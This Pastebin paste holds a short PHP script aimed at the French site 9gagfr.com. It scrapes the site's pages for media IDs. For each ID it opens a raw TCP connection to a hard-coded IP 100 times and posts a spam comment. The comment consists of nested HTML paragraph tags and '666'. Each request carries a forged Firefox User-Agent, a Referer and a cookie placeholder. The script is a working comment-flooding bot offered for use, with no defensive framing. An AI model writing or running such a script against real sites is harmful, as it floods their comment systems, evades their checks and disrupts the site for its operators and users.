Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- header( 'content-type: text/html; charset=utf-8' );
- libxml_use_internal_errors(true);
- $racine = "http://9gagfr.com/?page=";
- function page($page, $num) {
- $content = file_get_contents($page . $num);
- $doc = new DOMDocument();
- $doc->loadHTML($content);
- $xp = new DOMXPath($doc);
- $c = $xp->query("//*[contains(@class, 'up ')]");
- $ids = array();
- for($pos=0; $pos<$c->length; $pos++) {
- $id = $c->item($pos)->getAttribute('value');
- for ($i = 0; $i < 100; $i++) {
- $fp = stream_socket_client("tcp://149.202.208.185:80", $errno, $errstr, 30);
- //Commentaire à mettre après le = (httpencoded) et avant le &media_id=$id
- $tosend = "comment=%3Cp%3E%3Cp%3E666%3Cp%3E666%3Cp%3E666%3Cp%3E666%3C%2Fp%3E%3Cp%3E666%3C%2Fp%3E%3C%2Fp%3E%3C%2Fp%3E%3C%2Fp%3E666%3C%2Fp%3E&media_id=$id";
- $len = strlen($tosend);
- if (!$fp) {
- echo "$errstr ($errno)<br />\n";
- } else {
- $h = "POST /comments HTTP/1.1\r\n";
- $h .= "Host: 9gagfr.com\r\n";
- $h .= "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0\r\n";
- $h .= "Accept: */*\r\n";
- $h .= "Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\r\n";
- $h .= "Accept-Encoding: gzip, deflate\r\n";
- $h .= "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n";
- $h .= "X-Requested-With: XMLHttpRequest\r\n";
- $h .= "Referer: http://9gagfr.com/media/joseph-et-son-quot-crouton-quot\r\n";
- $h .= "Content-Length: $len\r\n";
- $h .= "Cookie:TESCOOKIES\r\n";
- $h .= "Connection: close\r\n\r\n";
- $h .= "$tosend";
- echo $id . '<br />';
- fwrite($fp, $h);
- }
- fclose($fp);
- }
- }
- }
- page($racine, 1);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement